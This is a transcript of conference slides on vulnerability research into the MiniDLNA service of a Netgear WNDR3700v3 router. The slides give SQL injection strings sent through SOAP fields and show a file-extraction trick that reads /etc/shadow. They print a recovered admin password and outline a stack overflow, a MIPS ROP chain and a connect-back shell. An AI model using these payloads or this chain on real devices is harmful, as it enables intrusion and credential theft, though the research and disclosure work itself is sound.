SQL Injection To MIPS Overflows - Amazon...

85
SQL Injection To MIPS Overflows Part Deux

Transcript of SQL Injection To MIPS Overflows - Amazon...

Page 1: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

SQL Injection To MIPS Overflows

Part Deux

Page 2: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Zachary Cutlip

Twitter: @zcutlip

Embedded Vulnerability Researcher

Formerly with Tactical Network Solutions, LLC

Page 3: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Followup to previous research

Presented at Black Hat 2012

Crappy code is still crappy

Page 4: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Target: WNDR 3700v3

Dual band Wireless router

SMB + FTP File server

DLNA Multimedia Server

Page 5: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

CPU Architecture: 32-bit MIPS, Little Endian

Firmware: 1.0.0.30

MiniDLNA: 1.0.24

Kernel: Linux 2.6.22

Page 6: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Firmware 1.0.0.30 Release Notes

“SQLi (mini DLNA module) security fix”

Page 7: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Newer Firmware

1.0.0.36

Vulnerable based on static analysis

1.0.0.38

Haven’t looked yet

Page 8: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Goal

Identify a new SQL injection bug

Identify a new buffer overflow

Combine the two just like last time

Reproduce the attacks from 2012

Page 9: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Attack SurfaceOnly looked at MiniDLNA

Didn’t look at:

HTTP Server

UPnP Server

Samba Server

FTP Server

Kernel Modules

Page 10: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Attack Scenario

Network based

LAN side

Reaver: attack from outside

Possible WAN side via UPnP vulns

Page 11: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

SQLite Record Injection

We need two things:

Unsafe “%s” format code (combined with user input)

Use of sqlite3_exec()

Page 12: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

INSERT statement can’t be nested.

sqlite3_exec() will execute multiple statements.

“Statement 1; Statement 2”

Page 13: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Record Injection Example  sql_fmt="SELECT  *  from  TABLE1  WHERE  NAME='%s'";  

input="foo;  INSERT  into  TABLE2(ID,PATH)       VALUES(1337,'/etc/shadow');—";  

snprintf(query,sizeof(query),       sql_fmt,user_input);  

sqlite3_exec(db,query,callback_func,     NULL,NULL);

Page 14: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Quotes in SQLite

When string is enclosed in outer single quotes

Escape quotes/apostrophes by doubling

Condensed into just one quote/apostrophe

Nothing else inside pair of quotes can be escaped

INSERT  INTO  table1  VALUES(     'It''s  a  happy  day!')

Page 15: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

SQLite’s %q

SQLite’s ‘mprintf()’ functions provide a %q code

Like %s, except doubles single quote characters

    "INSERT  INTO  table1  VALUES('%q')"  

Should be surrounded by single quotes

Page 16: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Netgear’s Custom Patches

Shipping binary diverges from source

“%s” format codes replaced with “%q”

Source still useful, but…

Bugs must be found from reversing the binary

Page 17: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

SQL Injection Candidate in Source

Page 18: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Patched in Binary

Page 19: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

A Promising Lead

In searchContentDir()

Call to sqlite3_exec()

Preceded by SQL query with ‘%s’

Page 20: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Injection CandidateSELECT    

  o.OBJECT_ID,  o.PARENT_ID,  o.REF_ID,  o.DETAIL_ID,  o.CLASS,  

  d.SIZE,  d.TITLE,  d.DURATION,  …  

from  OBJECTS  o  

left  join  DETAILS  d  on    

  (d.ID  =  o.DETAIL_ID)    

where  OBJECT_ID  glob  '%q$*'    

  and  (%s)  %s  %z  %s  

  limit  %d,  %d

Where for art thou, %q?

Page 21: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Injection Candidate

Page 22: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Query Translation

UPnP Query:

upnp:artist  =  "Armin  Van  Buuren”  

Becomes SQL Query:

and  (d.ARTIST  =  "Armin  Van  Buuren")

Page 23: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Query Injection

Inject in upnp:artist criteria:

upnp:artist  =  "foo");  SELECT  1=1;-­‐-­‐  

or

upnp:artist  =  "foo");  insert  into  ALBUM_ART  values(ID,PATH)  values(31337,"fake  data");-­‐-­‐

Page 24: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Another CandidateSELECT  

(  select  count(distinct  DETAIL_ID)  from  OBJECTS  o  

   left  join  DETAILS  d  on  (o.DETAIL_ID  =  d.ID)  where  (OBJECT_ID  glob  ‘%q$*’)  

   and  (%s)  )  +  

 (  select  count(*)  from  OBJECTS  o  

     left  join  DETAILS  d  on  (o.DETAIL_ID  =  d.ID)  where  (OBJECT_ID  =  ‘%q’)  

     and  (%s)  )

What is this?!And This?

Page 25: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Foiled!This query is in the critical path ahead of the other

It is NOT vulnerable to record injection

No sqlite3_exec()

Syntactically incompatible with the previous

Extra pair of parentheses

If the first query fails syntactically, the next never executes

Page 26: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

No sqlite3_exec()

Page 27: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer
Page 28: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Unadvertised SOAP Action

Table of SOAP handlers

Many familiar

Advertised for the Content Directory Service

e.g., “Browse”, “Search”, etc.

One unfamiliar handler:

“X_SetBookmark”

Page 29: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

The Samsung Special

According to source

“X_SetBookmark” is referenced

SamsungSetBookmark()

Sets a bookmark, in seconds, on a video

Page 30: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

SetBookmark Query

INSERT  OR  REPLACE  into  BOOKMARKS  

VALUES  (  

    (select  DETAIL_ID  from  OBJECTS  where  OBJECT_ID  =  '%q'),%q  

 ) Something’s not!right, here.

Page 31: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

X_SetBookmark Request<?xml  version="1.0"?>  

<s:Envelope  xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  

  <s:Body>  

    <u:X_SetBookmark  xmlns:u="urn:schemas-­‐upnp-­‐org:service:ContentDirectory:1">  

      <ObjectID>46</ObjectID>  

        <PosSecond>  

          3600  

        </PosSecond>  

      <CategoryType>10</CategoryType>  

      <RID>0</RID>  

    </u:X_SetBookmark>  

  </s:Body>  

</s:Envelope>

Page 32: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

X_SetBookmark Request

<PosSecond>  

    3600  

</PosSecond>

Page 33: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

X_SetBookmark Injection

<PosSecond>  

    1);INSERT  into  ALBUM_ART(ID,PATH)  

    VALUES(31337,"fake  data”);-­‐-­‐  

</PosSecond>

Page 34: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Arbitrary File Extraction

Previously presented (BH 2012) vulnerability

Create bogus ALBUM_ART record

Points to arbitrary file

Retrieve via unauthenticated HTTP:

    http://router:8200/AlbumArt/31337-­‐1.jpg

Page 35: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Extract Passwords

$  cat  31337-­‐1.jpg

nobody:*:0:0:nobody:/:/bin/sh  

admin:qw12QW!@:0:0:admin:/:/bin/sh  

guest:guest:0:0:guest:/:/bin/sh

Page 36: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

!

admin:qw12QW!@:0:0:admin:/:/bin/sh  

Page 37: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Even Better…

Extract NVRAM config

/dev/mtdblock14

Extract minidlna binary

pre-exploitation fingerprint

Page 38: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Still Works…

…two years later

Every system running MiniDLNA…

…if you can find a record injection vulnerability.

Page 39: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Root or it didn’t happen

Getting passwords is nice, but…

Let’s get root.

Page 40: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Buffer Overflow

Custom API replaces most risky string handling

A few unsafe functions remain

An interesting sprintf() is found in callback()

Page 41: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Interesting sprintf()

Page 42: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Rewrites DLNA Profile Name retrieved from database…

…specifically for Sony TVs

Destination is a 128-byte buffer on the stack.

Use record injection

Stage records for bogus media object

Excessively long DLNA_PN string

Page 43: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Triggering the overflow

Page 44: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Triggering the overflow

DETAILS.MIME value starts with “v”

For “video” MIME type?

Maybe “v” is for “vendetta”?

client_type variable must = 9

Page 45: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Spoof a Sony TV

In source, client type of 9 == ESonyBravia

HTTP header X-­‐AV-­‐Client-­‐Info

If present, and contains “BRAVIA” substring

client_type is set to ESonyBravia

Page 46: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

DLNA Profile NamesDLNA Profile name must be one of three:

AVC_TS_MP_SD_AC3

AVC_TS_MP_HD_AC3

AVC_TS_HP_HD_AC3

strncmp() is used, so PN must only begin with one

If found, profile name is rewritten with sprintf()

Page 47: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Stack Hazardscallback() function is super gnarly

10K bytes in length

Lots of stack hazards

Lots of ways to crash

Lots of paths out of the function

No fast failure avoiding stack hazards

Page 48: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Custom String API

A number of custom string handling functions

e.g., “strcatf()”

All work with a custom string “object”

Page 49: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Custom String API

struct  string_s  {  

      char  *data;       //  ptr  to  start  of  memory  area  

      int  off;  

      int  size;  

};

Page 50: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Double Pointer Hell

str  *struct  string_s  

Pointer to a pointer to writable memory

Two successful dereferences followed by a write

No error checking

If clobbered, very crash

Page 51: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

FML: Writable Double Pointers

Seven calls to strcatf() after overflow

Each with a different pointer to struct  string_s  

Buffer overflow must contain placeholder values

Placeholders must:

Be a valid address

Point to a valid address

Second address points to writable memory

Page 52: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

ELF Weirdness

ELF Libraries for some architectures

.sdata (small data) section

First address points to itself

Followed by writable memory initialized to zero

Page 53: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

.sdata Pointer to Self

Page 54: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

One Time Use

Each pointer to self can only be used once

Memory is contaminated after write

MiniDLNA links lots of libraries

Lots of .sdata sections to use

Page 55: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Add Placeholder to Overflow

SC.gadget_section(375,0x4A558,  

                                   description="Placeholder  for  passed_args[0].  

                                   Passed  to  strcatf()  at  0x0041635C.",  

                                   base_address=cls.LIBAVUTIL_BASE)

Page 56: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Bad Bytes

Null bytes break string handling

HTTP related characters

SQL syntax related characters

Total list:

‘\x0d','\x00','\x20','\x0a','\x2d','\x3c','\x3e','\x22'

Page 57: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

SQL Syntax Complication

Single quote (0x27 byte value) causes a problem

Single quotes get doubled by %q format code

“\x41\x61\x27\x05” becomes

“\x41\x61\x27\x27\x05”

Page 58: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

This one weird trick

Pull out each 0x27 byte

Double it: “\x27\x27”

Append to overflow as separate SQL injection

Page 59: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

If Input string is “''” (pair of single quotes)

str=sqlite3_mprintf("INSERT  into  table1  VALUES(%q),"''");

SQL command becomes:

INSERT  into  table1  VALUES('''')  

Exploit POC accomplishes this automatically:

    1);UPDATE  DETAILS  set  DLNA_PN=DLNA_PN||''''       where  ID=31337;-­‐-­‐

Page 60: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Trigger the Overflow

Browse SOAP request causes database query

Browse for staged <ObjectID>

Overflow record retrieved & processed

In Browse request

X-­‐AV-­‐Client-­‐Info header set to “BRAVIA”

Page 61: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Browse for Staged Overflow

<?xml  version="1.0"  encoding="utf-­‐8"?>  

<s:Envelope  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"  xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">  

<s:Body>  

  <ns0:Browse  xmlns:ns0="urn:schemas-­‐upnp-­‐org:service:ContentDirectory:1">  

    <ObjectID>PWNED</ObjectID>  

    <BrowseFlag>BrowseDirectChildren</BrowseFlag>  

    <Filter>*</Filter>  

    <StartingIndex>0</StartingIndex>  

    <RequestedCount>100</RequestedCount>  

    <SortCriteria  />  

  </ns0:Browse>  

</s:Body>  

</s:Envelope>

Page 62: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

<s:Body>  

 <ns0:Browse  xmlns:ns0="urn:schemas-­‐upnp-­‐org:service:ContentDirectory:1">  

    <ObjectID>PWNED</ObjectID>  

    <BrowseFlag>BrowseDirectChildren</BrowseFlag>  

    …  

    …  

 </ns0:Browse>  

</s:Body>

Page 63: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Crash!

Page 64: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

MIPS Exploitation

MIPS Linux 2.6.22

Executable stack

Stack is randomized with ASLR

No randomization on libraries

Makes ROP possible

Page 65: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

MIPS CachingSeparate Instruction/Data Caches

Buffer overflow data is in D-Cache

Execution fetches instructions through I-Cache

Must flush caches to execute payload

Several tricks

ROP into sleep() to force context switch.

Page 66: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

MIPS ROP

ROPping on MIPS

Fixed length instructions: 4 bytes

Aligned memory accesses

Few gadgets

Limited ROP is still possible

Page 67: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

MIPS ROP ChainTo return into stack & execute, ROP must:

Stage an argument to sleep(), 1 or 2 seconds

Stage return address for sleep()’s return

Return into sleep(), causing data cache to flush

Load offset from $SP into a register

Jump to the register containing the stack offset

Page 68: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Decode, Execute, Root

Once executing off the stack:

Decode payload

Execute payload

root

Page 69: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Connect-back Shell

Page 70: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Bowcaster

Python API for describing buffer overflow

Easy description of ROP gadgets

Pattern string for debugging

Payloads + XOR decoder specific for MIPS

Variety of connect-back servers

Page 71: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Bowcaster

https://github.com/zcutlip/bowcaster

Page 72: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Set Up Addresses & Offsets

Page 73: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Add Double Pointer Placeholder

Page 74: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Add ROP Gadgets

Page 75: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Add Payloads

Page 76: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Create Overflow Object

Page 77: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Verification, Server, Exploit

Page 78: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Stage Data, Trigger Overflow

Page 79: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Demo Time

Page 80: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

PoC Exploit

https://github.com/zcutlip/exploit-poc

Page 81: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Future WorkInvestigate UPnP

Port forwarding via CSRF?

Make exploit dynamic

Support many Netgear devices running MiniDLNA

Generate ROP chain dynamically

Page 82: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Additional Resources: https://shadow-file.blogspot.com

Page 83: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Thanks to Craig Heffner @devttyS0

Page 84: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Questions?

Page 85: SQL Injection To MIPS Overflows - Amazon S3s3.amazonaws.com/...2014_SQL_Injection_to_MIPS_Overflows_Part_… · Seven calls to strcatf() after overflow Each with a different pointer

Contact Me [email protected]

Twitter: @zcutlip !

Additional Resources: https://shadow-file.blogspot.com